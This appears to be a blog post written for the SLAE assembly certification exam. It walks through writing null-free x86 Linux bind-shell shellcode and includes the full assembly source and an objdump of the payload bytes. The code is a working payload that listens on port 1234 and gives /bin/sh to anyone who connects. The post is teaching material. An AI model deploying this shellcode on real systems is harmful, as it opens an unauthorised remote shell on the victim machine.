This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification exam.
Student ID: SLAE - 1193
The format of the first exam was to write shellcode with the following requirements:
All shellcode is compiled in the following manner:
nasm -f elf32 -o ex1.o ex1.asm
ld -melf_i386 -o ex1 ex1.o
The general pseudo-code for a bind shell takes the following form. Note that this is not executable or valid C in any form and is merely intended to demonstrate the theory:
sock = socket(AF_INET, SOCK_STREAM, 0)
sockaddr = {AF_INET, port, address}
bind = bind(sock, sockaddr, len(sockaddr))
listener = listen(bind, 0)
accepted = accept(sock, 0, 0)
dup2(accepted, 0)
dup2(accepted, 1)
execve('/bin/sh', 0, 0)
We create a socket and sockaddr structure with a port and address. By specifying SOCK_STREAM we ensure it’s a TCP connection.
We then bind this socket to a port on our machine.
The listen syscall waits for a connection and once a connection is established, the accept syscall will accept that connection and return a file descriptor to that connection.
At this point we perform two dup2 syscalls, which duplicate stdin and stdout on that file descriptor, so once we execute /bin/sh
we can control it over the connection.
A large number of the functions used in connecting via sockets is exposed via a single syscall known as the socketcall. It takes the form:
int socketcall(int call, unsigned long *args);
From the Linux man pages:
socketcall() is a common kernel entry point for the socket system calls. call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call.
All parameters to the socketcall’s are passed via the stack, so we generally push those to the stack, but call the socketcall
syscall with the appropriate registers set. It’s syscall number if 0x66
.
Individual call numbers are found in /usr/include/linux/net.h.
Firstly we set up a socket. All connections will act through this.
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 1
xor ecx, ecx
push ecx ; protocol -> 0
push 1 ; SOCK_STREAM
push 2 ;AF_INET
mov ecx, esp
int 0x80
At the first stage of the shellcode we xor
the eax
and ebx
registers. This is merely to 0 them out but without the presence of null-bytes. The syscall value for socketcall
is 0x66
so we move that value into al
again to avoid null-bytes. The socket
call of socketcall requires 1
within ebx
so we mov that into bl
.
We set ecx
to 0 so it can act as our protocol by xor
ing it with itself.AF_INET
is equal to 2 and SOCK_STREAM
is equal to 1 and the protocol is just 0. Syscall parameters are pushed onto the stack in reverse order (so that they’re read off in the correct order) so we push the protocol, SOCK_STREAM
and AF_INET
in that order.
We now need to set up a sockaddr structure. This will be the structure which holds the parameters for the port and address we bind to.
xor ecx, ecx
push ecx ; ADDR_ANY
push word 0xD204 ; port 1234 little endian
push word 2 ; AF_INET
mov ecx, esp
Again we push each parameter in reverse order, so firstly we push the address. We want to bind the 0.0.0.0
or INADDR_ANY, which is defined as simply 0. For this we zero out the ecx register and push it.
We then want to bind to port 1234, but we need to define this in little endian order. The hex form of 1234 is 0x04D2
so in little-endian that is 0xD204
, the bytes effectively reversed. AF_INET is defined as 2, so we push that next.
We then move esp, the current stack position into ecx, effectively saving the address of our structure in a register so we can reference it in the next stage.
Here we bind our socket to a port and address.
mov edx, eax
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 2 ; bind
push 16; socklen_t addrlen
push ecx; sockaddr *addr
push edx ; sockfd
int 0x80
At this point eax has not been touched so it will contain the file descriptor of the socket we created. We move this into edx to save it.
We then set up our registers again for a bind
syscall which takes the form
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
For this we know the length of our socket structure, which is 16 as we pushed on byte and two words. We then push ecx which contains the address of the previously created sockaddr struct and edx which contains the socket
Below I have included the full asm file used to generate the bind shell:
global _start
section .text
_start:
; /usr/include/linux/net.h
; socket(int domain, int type, int protocol)
; socket(AF_INET, SOCK_STREAM, 0)
; socketcall(int call, *args)
; socketcall(SYS_SOCKET, *args)
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 1
xor ecx, ecx
push ecx ; protocol -> 0
push 1 ; SOCK_STREAM
push 2; AF_INET
mov ecx, esp
int 0x80
mov edx, eax
; socketcall(SYS_BIND, *args)
; bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
xor eax, eax
xor ebx, ebx
mov al, 0x66
mov bl, 2 ; bind
; build sockaddr_in
xor ecx, ecx
push ecx ; ADDR_ANY
push word 0xD204 ; port 1234 little endian
push word 2 ; AF_INET
mov ecx, esp
push 16; socklen_t addrlen
push ecx; sockaddr *addr
push edx ; sockfd
mov ecx, esp
int 0x80
;sys_listen
;int listen(int sockfd, int backlog);
xor eax, eax
push eax ; backlog -> 0
push edx ; sockfd -> saved sockfd
mov al, 0x66
mov bl, 4
mov ecx, esp
int 0x80
; accept(3, 0, 0)
xor eax, eax
xor ebx, ebx
push eax
push eax
push edx
mov al, 0x66
mov bl, 5
int 0x80
mov edx, eax ; save accept sockfd
; dup2
xor eax,eax
xor ecx, ecx
mov al, 63
mov ebx, edx
inc ecx
int 0x80
xor eax, eax
mov al, 63
mov ebx, edx
xor ecx, ecx
int 0x80
;execve
xor eax, eax
mov al, 11
; push /bin/sh to the stack
; much more common than /bin/bash
; e.g. containerisation solutions
xor ebx, ebx
push ebx ; \x00\x00\x00\x00
push 0x68732f6e ; n/sh
push 0x69622f2f ; //bi
mov ebx, esp
xor ecx, ecx
xor edx, edx
int 0x80
To confirm the shellcode is free of nullbytes, we objdump
the binary and get the disassembly as well as the bytes:
ex1: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: b0 66 mov $0x66,%al
8048066: b3 01 mov $0x1,%bl
8048068: 31 c9 xor %ecx,%ecx
804806a: 51 push %ecx
804806b: 6a 01 push $0x1
804806d: 6a 02 push $0x2
804806f: 89 e1 mov %esp,%ecx
8048071: cd 80 int $0x80
8048073: 89 c2 mov %eax,%edx
8048075: 31 c0 xor %eax,%eax
8048077: 31 db xor %ebx,%ebx
8048079: b0 66 mov $0x66,%al
804807b: b3 02 mov $0x2,%bl
804807d: 31 c9 xor %ecx,%ecx
804807f: 51 push %ecx
8048080: 66 68 04 d2 pushw $0xd204
8048084: 66 6a 02 pushw $0x2
8048087: 89 e1 mov %esp,%ecx
8048089: 6a 10 push $0x10
804808b: 51 push %ecx
804808c: 52 push %edx
804808d: 89 e1 mov %esp,%ecx
804808f: cd 80 int $0x80
8048091: 31 c0 xor %eax,%eax
8048093: 50 push %eax
8048094: 52 push %edx
8048095: b0 66 mov $0x66,%al
8048097: b3 04 mov $0x4,%bl
8048099: 89 e1 mov %esp,%ecx
804809b: cd 80 int $0x80
804809d: 31 c0 xor %eax,%eax
804809f: 31 db xor %ebx,%ebx
80480a1: 50 push %eax
80480a2: 50 push %eax
80480a3: 52 push %edx
80480a4: b0 66 mov $0x66,%al
80480a6: b3 05 mov $0x5,%bl
80480a8: cd 80 int $0x80
80480aa: 89 c2 mov %eax,%edx
80480ac: 31 c0 xor %eax,%eax
80480ae: 31 c9 xor %ecx,%ecx
80480b0: b0 3f mov $0x3f,%al
80480b2: 89 d3 mov %edx,%ebx
80480b4: 41 inc %ecx
80480b5: cd 80 int $0x80
80480b7: 31 c0 xor %eax,%eax
80480b9: b0 3f mov $0x3f,%al
80480bb: 89 d3 mov %edx,%ebx
80480bd: 31 c9 xor %ecx,%ecx
80480bf: cd 80 int $0x80
80480c1: 31 c0 xor %eax,%eax
80480c3: b0 0b mov $0xb,%al
80480c5: 31 db xor %ebx,%ebx
80480c7: 53 push %ebx
80480c8: 68 6e 2f 73 68 push $0x68732f6e
80480cd: 68 2f 2f 62 69 push $0x69622f2f
80480d2: 89 e3 mov %esp,%ebx
80480d4: 31 c9 xor %ecx,%ecx
80480d6: 31 d2 xor %edx,%edx
80480d8: cd 80 int $0x80
As we can see our shellcode is completely free of null-bytes!
Written on December 24th, 2018 by Josiah Beverton